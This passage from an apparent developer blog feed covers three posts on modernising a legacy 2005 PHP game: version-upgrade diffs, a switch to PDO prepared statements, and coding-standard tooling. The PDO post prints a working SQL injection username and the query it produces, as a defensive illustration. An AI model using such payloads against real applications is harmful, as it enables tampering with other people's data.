-                 $DefSmack = floor($DefSmack * (1 - 1 / rand(2, 10)));
-                 $DefBaiser = floor($DefBaiser * (1 - 1 / rand(2, 10)));
-                 $DefPelle = floor($DefPelle * (1 - 1 / rand(2, 10)));
+                 $DefSmack = floor($DefSmack * (1 - 1 / random_int(2, 10)));
+                 $DefBaiser = floor($DefBaiser * (1 - 1 / random_int(2, 10)));
+                 $DefPelle = floor($DefPelle * (1 - 1 / random_int(2, 10)));
              }
</code></pre>

<p>Technically <code>rand</code> is still supported in PHP 8,
but it does not generate cryptographically secure digits,
so <code>random_int</code> is recommended instead.</p>

<p>Next step is to upgrade to PHP 7.1, which detects no changes,
so we're safe to upgrade to PHP 7.2, which detects no changes,
so we're safe to upgrade to PHP 7.3, which detects some changes!</p>

<p>The function <code>setcookie</code> can take an array of options as a third parameter
(and yes, we store the password in the cookie. This will need to be fixed later):</p>

<pre><code class="diff">                      if (isset($_POST['auto'])) {
                          $timestamp_expire = time() + 30 * 24 * 3600;
-                         setcookie('pseudo', $pseudo, $timestamp_expire);
-                         setcookie('mdp', $mdp, $timestamp_expire);
+                         setcookie('pseudo', $pseudo, ['expires' =&gt; $timestamp_expire]);
+                         setcookie('mdp', $mdp, ['expires' =&gt; $timestamp_expire]);
                      }
</code></pre>

<p>Next step is to upgrade to PHP 7.4, which detects no changes,
so we're safe to upgrade to PHP 8.0, which detects no changes,
so we're safe to upgrade to PHP 8.1, which detects some changes!</p>

<p>This is an interesting one, as it enforces the type of variables for function
calls that expect for example a string but might receive <code>null</code>:</p>

<pre><code class="diff">      $pdo = bd_connect();
      if (isset($_POST['action'])) {
          $cout = 0;
-         $nuageCible = htmlentities($_POST['nuage']);
-         $positionCible = htmlentities($_POST['position']);
+         $nuageCible = htmlentities((string) $_POST['nuage']);
+         $positionCible = htmlentities((string) $_POST['position']);
</code></pre>

<p>Next step is to upgrade to PHP 8.1, which detects no changes,
so we're safe to upgrade to PHP 8.2, which detects no changes,
so we're safe to upgrade to PHP 8.3, which detects no changes,
so we're safe to upgrade to PHP 8.4, which detects some changes!</p>

<p>This one is for the QA app, it removes the now unnecessary parenthesis around
object instantiation:</p>

<pre><code class="diff">-         (new Dotenv())-&gt;load(__DIR__.'/../../../monolith/.env');
+         new Dotenv()-&gt;load(__DIR__.'/../../../monolith/.env');
</code></pre>

<p>And that's it.</p>

<h2 id="php-cs-fixer">PHP CS Fixer</h2>

<p>With the latest version of PHP,
we can change or Coding Style in <code>.php-cc-fixer.dist.php</code>
to take into account new changes:</p>

<pre><code class="diff">-         // —— Disabed rules due to PHP version compatibility ———————————————————
- 
-         // [PER-CS2.0] Partially disabled due to PHP version constraints.
-         'trailing_comma_in_multiline' =&gt; [
-             'after_heredoc' =&gt; true,
-             'elements' =&gt; [
-                 // 'arguments', For PHP 7.3+
-                 // 'array_destructuring', For PHP 7.1+
-                 'arrays',
-                 // 'match', For PHP 8.0+
-                 // 'parameters', For PHP 8.0+
-             ],
-         ],
+         // —— Overriden rules ——————————————————————————————————————————————————
+ 
+         // [Symfony] Adding `['elements']['parameters']` (Symfony doesn't have it)
+         'trailing_comma_in_multiline' =&gt; [
+             'after_heredoc' =&gt; true,
+             'elements' =&gt; [
+                 'arguments',
+                 'array_destructuring',
+                 'arrays',
+                 'match',
+                 'parameters',
+             ],
+         ] ,
</code></pre>

<p>But that's not all. PHP CS Fixer also has rule set to help us migrate the style
from old PHP versions to new ones, which we'll do incrementally.</p>

<p>First we enable the rule sets:</p>

<pre><code class="diff">          // —— CS Rule Sets —————————————————————————————————————————————————————
          '@Symfony' =&gt; true,
          '@Symfony:risky' =&gt; true,
+         '@PHP7x0Migration' =&gt; true,
+         '@PHP7x0Migration:risky' =&gt; true,
</code></pre>

<p>And we run it with <code>make cs-fix</code>. It's detected some changes:
replacing <code>mt_rand</code> which is also not cryptographically secure with <code>random_int</code>:</p>

<pre><code class="diff">          // On choisi une valeur au hasard.

-         $FinalPos = $FreePos[mt_rand(0, $nbLibre - 1)];
+         $FinalPos = $FreePos[random_int(0, $nbLibre - 1)];
</code></pre>

<p>Next step we upgrade the rule set to PHP 7.1</p>

<pre><code class="console">sed -i -e 's/PHP7x0/PHP7x1/g' ./.php-cs-fixer.dist.php
# 🍏 On Mac: sed -i '' -e 's/PHP7x0/PHP7x1/g' ./php-cs-fixer.dist.php
</code></pre>

<p>Running it, we get <code>void</code> return type hints:</p>

<pre><code class="diff">- function GiveNewPosition($idJoueur)
+ function GiveNewPosition($idJoueur): void
  {
      $pdo = bd_connect();
      $sql_info = $pdo-&gt;query('SELECT nombre FROM nuage WHERE id=1');
</code></pre>

<p>Next step is to upgrade to PHP 7.2, which detects no changes,
so we're safe to upgrade to PHP 7.3, which detects some changes!</p>

<p>This one is related to HEREDOC indentation.</p>

<p>I'm gonna be brief now, as after that, upgrading all the way to PHP 8.5,
there were no changes.</p>

<h2 id="conclusion">Conclusion</h2>

<p>With a modern version of PHP, not only do we get security patches,
exciting new feature (typed code, constructor property promotion, readonly final classes, etc),
as well as access to many modern tools and libraries (composer, Symfony components, etc),
but we also get a boost in performance.</p>

<p>Let's back up that last claim by running some vanity benchmarks as follow:</p>

<ol>
<li>start a fresh Monolith container</li>
<li>sign up and log in a temporary account</li>
<li>test load the homepage, as a visitor (not logged in)</li>
<li>test load the Brain page (logged in)</li>
</ol>

<pre><code class="console"># Start fresh
cd apps/monolith
make app-init

BENCH_USER="BisouTest_bench"
BENCH_PASS="SuperSecret123"

# Sign up
curl -X POST 'http://localhost:43000/inscription.html' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d "Ipseudo=${BENCH_USER}&amp;Imdp=${BENCH_PASS}&amp;Imdp2=${BENCH_PASS}&amp;inscription=S%27inscrire"

# Log in
BENCH_COOKIE=$(curl -X POST 'http://localhost:43000/redirect.php' \
  -H 'Content-Type: application/x-www-form-urlencoded' \
  -d "pseudo=${BENCH_USER}&amp;mdp=${BENCH_PASS}&amp;connexion=Se+connecter" \
  -i -s | grep -i 'set-cookie: PHPSESSID' | sed 's/.*PHPSESSID=\([^;]*\).*/\1/' | tr -d '\r')

# Test load homepage (not signed in)
ab -l -q -k -c 50 -n 10000 http://localhost:43000/ \
    | grep -E "Complete requests|Failed requests|Exception|Requests per second|Time per request.*across"

# Test load Brain page (signed in)
ab -l -q -k -c 50 -n 10000 -C "PHPSESSID=$BENCH_COOKIE" http://localhost:43000/cerveau.html \
    | grep -E "Complete requests|Failed requests|Exception|Requests per second|Time per request.*across"
</code></pre>

<p>On my MacBook M4 (with Docker), the results are as follow:</p>

<ul>
<li>Homepage: <code>+8.9%</code> improvement

<ul>
<li>Requests per second (mean):
from <code>545.67</code> to <code>594.49</code></li>
<li>Time per request (ms, mean, across all concurrent requests):
from <code>1.833</code> to <code>1.682</code></li>
</ul></li>
<li>Brain Page: <code>+30.2%</code> improvement

<ul>
<li>Requests per second (mean):
from <code>313.88</code> to <code>408.78</code></li>
<li>Time per request (ms, mean, across all concurrent requests):
from <code>3.186</code> to <code>2.446</code></li>
</ul></li>
</ul>

<p>Surely with such almighty gains we won't need to rewrite BisouLand in go / rust.</p>

<blockquote>
  <p>⁉️ What do you mean, "the code is still unrefactorable"?</p>
</blockquote>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[eXtreme Legacy 5: PDO]]></title>
            <link href="/2025/10/22/xl-5-pdo.html"/>
            <updated>2025-10-22T00:00:00+01:00</updated>
            <id>/2025/10/22/xl-5-pdo.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p>🤘 The Parameter Paladin storms forth from the OWASP bastion,
  raising the impenetrable shield of Prepared Statements,
  against the shadow army of malicious injections,
  that seek to corrupt the sacred data temples! 🔥</p>
</blockquote>

<p>In this series, we're dealing with BisouLand, an eXtreme Legacy application
(2005 LAMP spaghetti code base). So far, we have:</p>

<ol>
<li><a href="/2025/09/10/xl-1-dockerizing-2005-lamp-app.html">🐋 got it to run in a local container</a></li>
<li><a href="/2025/09/17/xl-2-smoke-tests.html">💨 written Smoke Tests</a></li>
<li><a href="/2025/09/24/xl-3-end-to-end-tests.html">🎯 written End to End Tests</a></li>
<li><a href="/2025/10/01/xl-4-coding-standards.html">🧹 created and applied Coding Standards</a></li>
</ol>

<p>This means we can run it locally (http://localhost:8080/),
and have some level of automated tests.</p>

<p>But it's currently riddled with deprecated calls to <code>mysql_query()</code>,
so let's upgrade the codebase to PDO!</p>

<ul>
<li><a href="#sql-injection-vulnerabilities">SQL Injection vulnerabilities</a></li>
<li><a href="#docker">Docker</a></li>
<li><a href="#connection">Connection</a></li>
<li><a href="#queries">Queries</a></li>
<li><a href="#fixes">Fixes</a></li>
<li><a href="#conclusion">Conclusion</a></li>
</ul>

<h2 id="sql-injection-vulnerabilities">SQL Injection vulnerabilities</h2>

<p>Before we start, a note on security vulnerabilities.</p>

<p>The BisouLand SQL queries are full of input values directly concatenated
in the SQL queries, like here:</p>

<pre><code class="php">// SignUp form: inscription.php
$result = mysql_query(
    'INSERT INTO membres (pseudo, mdp, confirmation, timestamp, lastconnect, amour)'
    ."VALUES ('{$pseudo}', '{$hmdp}', '1', ".time().', '.time().", '300')"
);
</code></pre>

<p>This would clearly be a SQL injection risk,
as someone could submit the following username:</p>

<pre><code>Eisenberg', '938c2cc0dcc05f2b68c4287040cfcf71', '1', 1759645024, 1759645024, '42000'); --
</code></pre>

<p>Which would create the user as expected,
but with 42k Love Points instead of the expected 300:</p>

<pre><code class="sql">INSERT INTO membres (pseudo, mdp, confirmation, timestamp, lastconnect, amour)
VALUES ('Eisenberg', '938c2cc0dcc05f2b68c4287040cfcf71', '1', 1759645024, 1759645024, '42000');
-- ', '938c2cc0dcc05f2b68c4287040cfcf71', '1', 1759645024, 1759645024, '300')
</code></pre>

<p>However looking a bit closer at the code,
we can see that most of the time the user input is validated and sanitised,
for example in the sign-up form the username:</p>

<ul>
<li>cannot be too long</li>
<li>can only be alphanumerical characters</li>
<li><code>addslashes()</code> escapes <code>'</code>, <code>"</code>, <code>\</code> and NULL bytes</li>
<li><code>htmlentities()</code> escapes HTML characters like <code>&lt;</code>, <code>&gt;</code>, <code>'</code></li>
</ul>

<p>Which effectively prevents SQL Injection:</p>

<pre><code class="php">// SignUp form: inscription.php
$pseudo = htmlentities(addslashes($_POST['Ipseudo']));
$mdp = htmlentities(addslashes($_POST['Imdp']));

$taille = strlen(trim($_POST['Ipseudo']));
if ($taille &gt;= 4 &amp;&amp; $taille &lt;= 15) {
    // ...
    $result = mysql_query(
        'INSERT INTO membres (pseudo, mdp, confirmation, timestamp, lastconnect, amour)'
        ." VALUES ('{$pseudo}', '{$hmdp}', '1', ".time().', '.time().", '300')"
    );
}
</code></pre>

<p>Regardless, using PDO with prepared statements will make sure we don't accidentally
introduce SQL vulnerabilities.</p>

<h2 id="docker">Docker</h2>

<p>The first thing we're going to do is update the <code>apps/monolith/Dockerfile</code>,
as we'll now need the PDO extension and its MySQL companion,
instead of the MySQL solo extension:</p>

<pre><code class="Dockerfile"># ...

# Install system dependencies and PHP extensions in single layer
RUN docker-php-ext-install pdo pdo_mysql \
    &amp;&amp; a2enmod rewrite

# ...
</code></pre>

<p>This change will require us to update the container:</p>

<pre><code class="console"># in apps/monolith
make down
make build
make up
</code></pre>

<h2 id="connection">Connection</h2>

<p>Then we have to take care of the <code>mysql_pconnect</code>,
located in <code>apps/monolith/phpincludes/bd.php</code>:</p>

<pre><code class="php">&lt;?php

include __DIR__.'/../config/parameters.php';

function bd_connect()
{
    mysql_pconnect(
        DATABASE_HOST.':'.DATABASE_PORT,
        DATABASE_USER,
        DATABASE_PASSWORD
    );
    mysql_select_db(DATABASE_NAME);
}
</code></pre>

<p>This creates a persistent connection, for the current HTTP request.</p>

<p>We're going to replace it with PDO (PHP Data Object, what a weird name),
the out of the box Database Abstraction Layer:</p>

<pre><code class="php">&lt;?php

include __DIR__.'/../config/parameters.php';

function bd_connect()
{
    static $pdo = null;

    if (null === $pdo) {
        $dsn = 'mysql:host='.DATABASE_HOST.';port='.DATABASE_PORT.';dbname='.DATABASE_NAME.';charset=utf8mb4';
        $options = [
            // Throw exceptions on error
            PDO::ATTR_ERRMODE =&gt; PDO::ERRMODE_EXCEPTION,
            // Return query results as associative arrays (column name =&gt; value)
            PDO::ATTR_DEFAULT_FETCH_MODE =&gt; PDO::FETCH_ASSOC,
            // Use prepared statements at the database layer, for better security and performance
            PDO::ATTR_EMULATE_PREPARES =&gt; false,
        ];
        $pdo = new PDO($dsn, DATABASE_USER, DATABASE_PASSWORD, $options);
    }

    return $pdo;
}
</code></pre>

<p>We then need to change the usage of the function in the codebase:</p>

<ul>
<li>from <code>bd_connect()</code> to <code>$pdo = bd_connect()</code></li>
</ul>

<p>The <code>bd_connect</code> has been transformed into a Singleton,
it will always return the same instance of PDO (for the duration of the HTTP Request).</p>

<p>I'd normally frown at this but this is a temporary measure:
my intention is to later in the series introduce a Dependency Injection Container,
and instead of having those <code>$pdo = bd_connect()</code> statements,
we'll have <code>$pdo = $container-&gt;get(PDO::class);</code>.</p>

<h2 id="queries">Queries</h2>

<p>It's then a game of finding and replacing all <code>mysql_*</code> functions:</p>

<ul>
<li>from <code>mysql_query()</code> to <code>$pdo-&gt;prepare(); $pdo-&gt;execute()</code> or <code>$pdo-&gt;query()</code></li>
<li>from <code>mysql_fetch_assoc()</code> to <code>$pdo-&gt;fetch()</code></li>
<li>from <code>mysql_result()</code> to <code>$pdo-&gt;fetchColumn()</code></li>
<li>from <code>mysql_num_rows()</code> to <code>$pdo-&gt;rowCount()</code> or <code>$pdo-&gt;fetchColumn()</code></li>
<li>from <code>mysql_insert_id()</code> to <code>$pdo-&gt;lastInsertId()</code></li>
</ul>

<p>For example in <code>apps/monolith/web/phpincludes/inscription.php</code>:</p>

<pre><code class="php">$result = mysql_query(
    'INSERT INTO membres (pseudo, mdp, confirmation, timestamp, lastconnect, amour)'
    ."VALUES ('{$pseudo}', '{$hmdp}', '1', ".time().', '.time().", '300')"
);
if (false === $result) {
    echo 'Error: '.mysql_error();
}
$id = mysql_insert_id();
</code></pre>

<p>Becomes:</p>

<pre><code class="php">$stmt = $pdo-&gt;prepare(
    'INSERT INTO membres (pseudo, mdp, confirmation, timestamp, lastconnect, amour)'
    .' VALUES (:pseudo, :mdp, :confirmation, :timestamp, :lastconnect, :amour)'
);
$stmt-&gt;execute([
    'pseudo' =&gt; $pseudo,
    'mdp' =&gt; $hmdp,
    'confirmation' =&gt; 1,
    'timestamp' =&gt; time(),
    'lastconnect' =&gt; time(),
    'amour' =&gt; 300,
]);
$id = $pdo-&gt;lastInsertId();
</code></pre>

<p>There were 25 PHP files with ~250+ of such calls, by the way.</p>

<p>And before we forget,
with prepared statements we no longer need calls to <code>addslashes()</code>,
so we can also removed them.</p>

<h2 id="fixes">Fixes</h2>

<p>We shouldn't stop there. There's an issue we've encountered in a previous article,
where the code was using <code>''</code> for the <code>id</code> column in <code>INSERT</code> statements.</p>

<p>This was relying on string to integer conversion,
which MySQL supported until version 5.7.</p>

<p>After a quick look, I've found 5 more instances of these, which I've now fixed.</p>

<p>And last but not least, still on the topic of string to integer conversion,
there are other integer fields that are receiving strings:</p>

<ol>
<li><code>web/phpincludes/inscription.php</code>:

<ul>
<li><code>'1'</code> is used for the confirmation field, should be <code>1</code> (TINYINT field)</li>
<li><code>'300'</code> is used for the amour field, should be <code>300</code> (INT field)</li>
</ul></li>
<li><code>web/phpincludes/lire.php</code>: <code>'1'</code> is used for status (INT field)</li>
<li><code>web/phpincludes/attaque.php</code>: <code>'0'</code> is used for finaller (INT field)</li>
<li><code>web/news/liste_news.php</code>: <code>'0'</code> is used for timestamp_modification (INT field)</li>
<li><code>web/phpincludes/cerveau.php</code>: <code>'1'</code> is used for confirmation (TINYINT field)</li>
<li><code>web/phpincludes/membres.php</code>: <code>'1'</code> is used for confirmation (TINYINT field)</li>
</ol>

<h2 id="conclusion">Conclusion</h2>

<p>This has been a lot of effort, and there's seemingly not a lot to show for it.</p>

<p>But by switching from the MySQL extension to PDO, we've unlocked something amazing:
we will be able to upgrade to the latest version of PHP,
which will provide a big performance boost as well as many security patches.</p>

<p>And we will be able to switch to PostgreSQL!</p>

<blockquote>
  <p>⁉️ <em>What do you mean, "PHP is slow and we should use go / rust"?</em></p>
</blockquote>
]]></content>
        </entry>
            <entry>
            <title type="html"><![CDATA[eXtreme Legacy 4: Coding Standards]]></title>
            <link href="/2025/10/01/xl-4-coding-standards.html"/>
            <updated>2025-10-01T00:00:00+01:00</updated>
            <id>/2025/10/01/xl-4-coding-standards.html</id>
            <content type="html"><![CDATA[<blockquote>
  <p>🤘 The Coding Standards Inquisitor rises from the sulphurous pits of Legacy Chaos,
  brandishing the iron scriptures of Style Guides,
  purging the realm of inconsistent formatting with flames of automated linting! 🔥</p>
</blockquote>

<p>In this series, we're dealing with BisouLand, an eXtreme Legacy application
(2005 LAMP spaghetti code base). So far, we have:</p>

<ol>
<li><a href="/2025/09/10/xl-1-dockerizing-2005-lamp-app.html">🐋 got it to run in a local container</a></li>
<li><a href="/2025/09/17/xl-2-smoke-tests.html">💨 written Smoke Tests</a></li>
<li><a href="/2025/09/24/xl-3-end-to-end-tests.html">🎯 written End to End Tests</a></li>
</ol>

<p>This means we can run it locally (http://localhost:8080/),
and have some level of automated tests.</p>

<p>But the code is ugly!</p>

<p>So we're going to establish beautiful Coding Standards,
which will be today's fourth article focus,
and enforce them automatically using PHP CS Fixer.</p>

<ul>
<li><a href="#level-0%3A-setup">Level 0: setup</a></li>
<li><a href="#level-1%3A-psr-1">Level 1: PSR-1</a></li>
<li><a href="#level-2%3A-psr-2">Level 2: PSR-2</a></li>
<li><a href="#level-3%3A-psr-12">Level 3: PSR-12</a></li>
<li><a href="#level-4%3A-per-cs-2.0">Level 4: PER-CS 2.0</a></li>
<li><a href="#level-5%3A-symfony">Level 5: Symfony</a></li>
<li><a href="#conclusion">Conclusion</a></li>
</ul>

<h2 id="level-0%3A-setup">Level 0: setup</h2>

<p>We will not start with the highest quality standard,
as this would make it too difficult to track the changes.</p>

<p>Instead we'll:</p>

<ul>
<li>start with an empty configuration, run the tool, check the changes</li>
<li>then add the smallest set of CS rule we can think of, run again and check</li>
<li>iterate by adding more and more rules</li>
</ul>

<p>Ideally, teams should discuss and agree on a select list of rules to follow,
but <a href="https://cs.symfony.com/doc/rules/index.html">the list of possible rules is too overwhelming</a>.</p>

<p>So instead of picking rules one by one,
we can rely on <a href="https://cs.symfony.com/doc/ruleSets/index.html">rule sets</a>.</p>

<p>My humble opinion is that the <a href="https://cs.symfony.com/doc/ruleSets/Symfony.html">Symfony CS</a>
are the best, but that'd be too many rules to add in one go.</p>

<p>If we check the Symfony rule set doc, at the top we can see <code>@PER-CS3x0</code>.</p>

<p>Rules that start with <code>@</code> are actually rulesets,
so Symfony depends on other smaller rulesets,
and those smaller rulesets also depend on other smaller rulesets.</p>

<p>It's a tedious task,
but we can navigate the documentation website,
construct the tree of rule sets used,
and then start with the smaller one:</p>

<ol>
<li><a href="https://www.php-fig.org/psr/psr-1/">PSR-1: Basic Coding Standard</a></li>
<li><a href="https://www.php-fig.org/psr/psr-2/">PSR-2: Coding Style Guide - deprecated</a></li>
<li><a href="https://www.php-fig.org/psr/psr-12/">PSR-12: Extended Coding Style</a></li>
<li><a href="https://www.php-fig.org/per/coding-style/">PER-CS 2.0: Coding Style</a>
(turns out there's a PER-CS 3.0 since July 2025!)</li>
</ol>

<p>For each rule set, we then check if anything is breaking,
and if so we exclude the specific rule.</p>

<p>Let's start with an empty configuration in <code>apps/qa/.php-cs-fixer.php.dist</code>:</p>

<pre><code class="php">&lt;?php

use PhpCsFixer\Runner\Parallel\ParallelConfigFactory;

$finder = (new PhpCsFixer\Finder())
    -&gt;in(__DIR__.'/../monolith/web')
    -&gt;exclude('ban')
    -&gt;exclude('images')
    -&gt;exclude('includes')
    -&gt;exclude('polices')
    -&gt;exclude('smileys')
;

return (new PhpCsFixer\Config())
    -&gt;setRules([
    ])
    -&gt;setRiskyAllowed(true)
    -&gt;setParallelConfig(ParallelConfigFactory::detect())
    -&gt;setUsingCache(true)
    -&gt;setFinder($finder)
;
</code></pre>

<p>Running it will not report any problems:</p>

<pre><code class="console">&gt; make cs-check // equivalent to: ./vendor/bin/php-cs-fixer check --verbose
PHP CS Fixer 3.85.1 Alexander by Fabien Potencier, Dariusz Ruminski and contributors.
PHP runtime: 8.4.12
Running analysis on 15 cores with 10 files per process.
Parallel runner is an experimental feature and may be unstable, use it at your own risk. Feedback highly appreciated!
Loaded config default from "/apps/qa/.php-cs-fixer.dist.php".
Using cache file ".php-cs-fixer.cache".
 43/43 [▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓] 100%


Found 0 of 43 files that can be fixed in 0.105 seconds, 18.00 MB memory used
</code></pre>

<h2 id="level-1%3A-psr-1">Level 1: PSR-1</h2>

<p>Let's add the <a href="https://cs.symfony.com/doc/ruleSets/PSR1.html">PSR-1 ruleset</a>:</p>

<pre><code class="php">&lt;?php

use PhpCsFixer\Runner\Parallel\ParallelConfigFactory;

$finder = (new PhpCsFixer\Finder())
    -&gt;in(__DIR__.'/../monolith/web')
    -&gt;exclude('ban')
    -&gt;exclude('images')
    -&gt;exclude('includes')
    -&gt;exclude('polices')
    -&gt;exclude('smileys')
;

return (new PhpCsFixer\Config())
    -&gt;setRules([
        '@PSR1' =&gt; true,
    ])
    -&gt;setRiskyAllowed(true)
    -&gt;setParallelConfig(ParallelConfigFactory::detect())
    -&gt;setUsingCache(true)
    -&gt;setFinder($finder)
;
</code></pre>

<p>This will make sure we use:</p>

<ul>
<li><a href="https://cs.symfony.com/doc/rules/php_tag/full_opening_tag.html">full opening tag</a>
(not <code>&lt;?</code> but <code>&lt;?php</code>)</li>
<li><a href="https://cs.symfony.com/doc/rules/basic/encoding.html">encoding</a>
(not BOM, UTF-8)</li>
</ul>

<p>Let's run the checks:</p>

<pre><code class="console">&gt; make cs-check
PHP CS Fixer 3.85.1 Alexander by Fabien Potencier, Dariusz Ruminski and contributors.
PHP runtime: 8.4.12
Running analysis on 15 cores with 10 files per process.
Parallel runner is an experimental feature and may be unstable, use it at your own risk. Feedback highly appreciated!
Loaded config default from "/apps/qa/.php-cs-fixer.dist.php".
Using cache file ".php-cs-fixer.cache".
 43/43 [▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓] 100%

   1) ../monolith/web/news/chemin.php (full_opening_tag)

Found 1 of 43 files that can be fixed in 0.103 seconds, 18.00 MB memory used
</code></pre>

<p>There's one file that uses <code>&lt;?</code>, to automatically fix it we run:</p>

<pre><code class="console">&gt; make cs-fix // equivalent to: ./vendor/bin/php-cs-fixer fix --verbose
PHP CS Fixer 3.85.1 Alexander by Fabien Potencier, Dariusz Ruminski and contributors.
PHP runtime: 8.4.12
Running analysis on 15 cores with 10 files per process.
Parallel runner is an experimental feature and may be unstable, use it at your own risk. Feedback highly appreciated!
Loaded config default from "/apps/qa/.php-cs-fixer.dist.php".
Using cache file ".php-cs-fixer.cache".
 43/43 [▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓] 100%

   1) ../monolith/web/news/chemin.php (full_opening_tag)

Fixed 1 of 43 files in 0.107 seconds, 18.00 MB memory used
</code></pre>

<p>And that's PSR-1 done and dusted.</p>

<h2 id="level-2%3A-psr-2">Level 2: PSR-2</h2>

<p>Time for the <a href="https://cs.symfony.com/doc/ruleSets/PSR2.html">PSR-2 ruleset</a>:</p>

<pre><code class="php">&lt;?php

use PhpCsFixer\Runner\Parallel\ParallelConfigFactory;

$finder = (new PhpCsFixer\Finder())
    -&gt;in(__DIR__.'/../monolith/web')
    -&gt;exclude('ban')
    -&gt;exclude('images')
    -&gt;exclude('includes')
    -&gt;exclude('polices')
    -&gt;exclude('smileys')
;

return (new PhpCsFixer\Config())
    -&gt;setRules([
        '@PSR2' =&gt; true,
    ])
    -&gt;setRiskyAllowed(true)
    -&gt;setParallelConfig(ParallelConfigFactory::detect())
    -&gt;setUsingCache(true)
    -&gt;setFinder($finder)
;
</code></pre>

<p>It adds about 30 new rules,
mainly regarding brace placement and indentation formatting.</p>

<p>Let's run a check:</p>

<pre><code class="console">&gt; make cs-check
Loaded config default from "/apps/qa/.php-cs-fixer.dist.php".
Using cache file ".php-cs-fixer.cache".
 43/43 [▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓▓] 100%

   1) ../monolith/web/calcul.php (no_closing_tag, no_trailing_whitespace, single_blank_line_at_eof)
   2) ../monolith/web/redirect.php (indentation_type, single_space_around_construct, method_argument_space, no_closing_tag, braces_position, statement_indentation, single_blank_line_at_eof)
   3) ../monolith/web/checkConnect.php (indentation_type, elseif, single_space_around_construct, no_closing_tag, no_trailing_whitespace, braces_position, statement_indentation,single_blank_line_at_eof)
   4) ../monolith/web/phpincludes/fctIndex.php (indentation_type, single_space_around_construct, method_argument_space, spaces_inside_parentheses, control_structure_braces, no_closing_tag, no_trailing_whitespace, braces_position, statement_indentation, single_blank_line_at_eof)
   5) ../monolith/web/phpincludes/topten.php (indentation_type, single_space_around_construct, no_trailing_whitespace, braces_position, statement_indentation)
   6) ../monolith/web/phpincludes/pages.php (indentation_type, no_closing_tag, statement_indentation, single_blank_line_at_eof)
   7) ../monolith/web/config/parameters.php (single_blank_line_at_eof)
   8) ../monolith/web/deconnexion.php (indentation_type, single_space_around_construct, no_closing_tag, braces_position, single_blank_line_at_eof)
   9) ../monolith/web/news/rediger_news.php (indentation_type, single_space_around_construct, no_trailing_whitespace, braces_position, statement_indentation)
  10) ../monolith/web/news/chemin.php (no_closing_tag, single_blank_line_at_eof)
  11) ../monolith/web/news/liste_news.php (indentation_type, single_space_around_construct, lowercase_keywords, braces_position, statement_indentation)
  12) ../monolith/web/phpincludes/evo.php (indentation_type, single_space_around_construct, method_argument_space, no_closing_tag, no_trailing_whitespace, braces_position, statement_indentation, single_blank_line_at_eof)
  13) ../monolith/web/phpincludes/stats.php (indentation_type, method_argument_space, statement_indentation)
  14) ../monolith/web/phpincludes/infos.php (indentation_type, single_space_around_construct, braces_position, statement_indentation)
  15) ../monolith/web/phpincludes/yeux.php (indentation_type, single_space_around_construct, method_argument_space, no_trailing_whitespace, braces_position, statement_indentation)
  16) ../monolith/web/phpincludes/inscription.php (indentation_type, single_space_around_construct, method_argument_space, spaces_inside_parentheses, braces_position, statement_indentation)
  17) ../monolith/web/phpincludes/faq.php (indentation_type, braces_position, statement_indentation)
  18) ../monolith/web/phpincludes/construction.php (indentation_type, single_space_around_construct, method_argument_space, no_spaces_after_function_name, braces_position, statement_indentation)
  19) ../monolith/web/phpincludes/recherche.php (indentation_type, single_space_around_construct, no_trailing_whitespace, braces_position)
  20) ../monolith/web/phpincludes/bd.php (braces_position, statement_indentation)
  21) ../monolith/web/phpincludes/accueil.php (indentation_type, no_trailing_whitespace, braces_position, statement_indentation)
  22) ../monolith/web/phpincludes/lire.php (indentation_type, single_space_around_construct, braces_position, statement_indentation)
  23) ../monolith/web/phpincludes/membres.php (indentation_type, single_space_around_construct, method_argument_space, no_trailing_whitespace, braces_position, statement_indentation)
  24) ../monolith/web/phpincludes/nuage.php (indentation_type, single_space_around_construct, method_argument_space, no_trailing_whitespace, braces_position, statement_indentation)
  25) ../monolith/web/phpincludes/attaque.php (indentation_type, single_space_around_construct, method_argument_space, no_closing_tag, no_trailing_whitespace, no_trailing_whitespace_in_comment, no_multiple_statements_per_line, braces_position, statement_indentation, single_blank_line_at_eof)
  26) ../monolith/web/phpincludes/confirmation.php (indentation_type, single_space_around_construct, method_argument_space, spaces_inside_parentheses, no_closing_tag, no_trailing_whitespace, braces_position, statement_indentation, single_blank_line_at_eof)
  27) ../monolith/web/phpincludes/changepass.php (indentation_type, single_space_around_construct, method_argument_space, no_spaces_after_function_name, spaces_inside_parenthes, no_trailing_whitespace, braces_position, statement_indentation)
  28) ../monolith/web/phpincludes/techno.php (indentation_type, single_space_around_construct, method_argument_space, no_spaces_after_function_name, braces_position, statement_indentation)
  29) ../monolith/web/phpincludes/newpass.php (indentation_type, single_space_around_construct, method_argument_space, no_spaces_after_function_name, spaces_inside_parentheses,no_trailing_whitespace, braces_position, statement_indentation)
  30) ../monolith/web/makeBan.php (indentation_type, single_space_around_construct, method_argument_space, no_spaces_after_function_name, spaces_inside_parentheses, no_closing_tag, braces_position, statement_indentation, single_blank_line_at_eof)
  31) ../monolith/web/index.php (indentation_type, single_space_around_construct, method_argument_space, control_structure_braces, no_trailing_whitespace, no_trailing_whitespace_in_comment, braces_position, statement_indentation)
  32) ../monolith/web/phpincludes/livreor.php (indentation_type, single_space_around_construct, no_trailing_whitespace, braces_position, statement_indentation)
  33) ../monolith/web/phpincludes/connexion.php (indentation_type, single_space_around_construct, braces_position, statement_indentation)
  34) ../monolith/web/phpincludes/boite.php (indentation_type, single_space_around_construct, method_argument_space, control_structure_braces, lowercase_keywords, no_trailing_whitespace, braces_position, statement_indentation)
  35) ../monolith/web/phpincludes/connected.php (indentation_type, single_space_around_construct, braces_position, statement_indentation)
  36) ../monolith/web/phpincludes/envoi.php (indentation_type, single_space_around_construct, method_argument_space, braces_position, statement_indentation)
  37) ../monolith/web/phpincludes/action.php (indentation_type, single_space_around_construct, method_argument_space, braces_position, statement_indentation)

Found 37 of 43 files that can be fixed in 0.207 seconds, 18.00 MB memory used

Files that were not fixed due to errors reported during linting after fixing:
   1) /apps/qa/../monolith/web/phpincludes/cerveau.php
   2) /apps/qa/../monolith/web/phpincludes/bisous.php
</code></pre>

